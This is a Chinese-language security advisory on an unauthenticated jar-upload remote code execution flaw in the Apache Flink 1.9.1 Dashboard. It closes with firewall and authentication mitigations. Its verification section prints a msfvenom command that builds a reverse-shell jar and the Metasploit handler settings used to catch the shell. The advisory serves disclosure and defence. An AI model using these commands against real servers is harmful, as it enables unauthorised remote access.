Apache Flink 任意Jar包上传导致远程代码执行漏洞安全通告
发布时间 2019-11-14漏洞编号和级别
CVE编号:暂无,危险级别:高危,CVSS分值:官方未评定
影响版本
至目前最新版本Apache Flink 1.9.1
漏洞概述
Apache Flink是由Apache软件基金会开发的开源流处理框架,其核心是用Java和Scala编写的分布式流数据流引擎。Flink以数据并行和流水线方式执行任意流数据程序,Flink的流水线运行时系统可以执行批处理和流处理程序。此外,Flink的运行时本身也支持迭代算法的执行。
Apache Flink的数据流编程模型在有限和无限数据集上提供单次事件(event-at-a-time)处理。在基础层面,Flink程序由流和转换组成。
Apache Flink的API:有界或无界数据流的数据流API、用于有界数据集的数据集API、表API。
Apache Flink Dashboard 中可上传恶意jar包并触发恶意代码执行。由于Apache Flink Dashboard 默认无需认证即可访问,因此该漏洞可用作获取shell。
漏洞验证
POC:https://twitter.com/jas502n/status/1193869996717297664。
测试环境:Apache Flink 1.9.1
1、上传msf生成的jar包,生成rce.jar文件
msfvenom -p java/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=8087 -f jar > rce.jar
2、配置msf监听
use exploit/multi/handler
set payload java/shell/reverse_tcp
set LHOST 127.0.0.1
set LPORT 8087
show options
run
在Submit New Job处上传rec.jar文件,点击submit
成功反弹shell,执行id可看到结果
修复建议
该漏洞官方尚未发布安全更新以及解决方法,请受影响的用户实时关注Apache Flink官网:https://flink.apache.org/downloads.html。
缓解措施:
建议设置防火墙策略,仅允许白名单ip访问 apache flink服务,并在Web代理(如apache httpd)中增加对该服务的digest认证。
参考链接
https://twitter.com/jas502n/status/1193869996717297664


京公网安备11010802024551号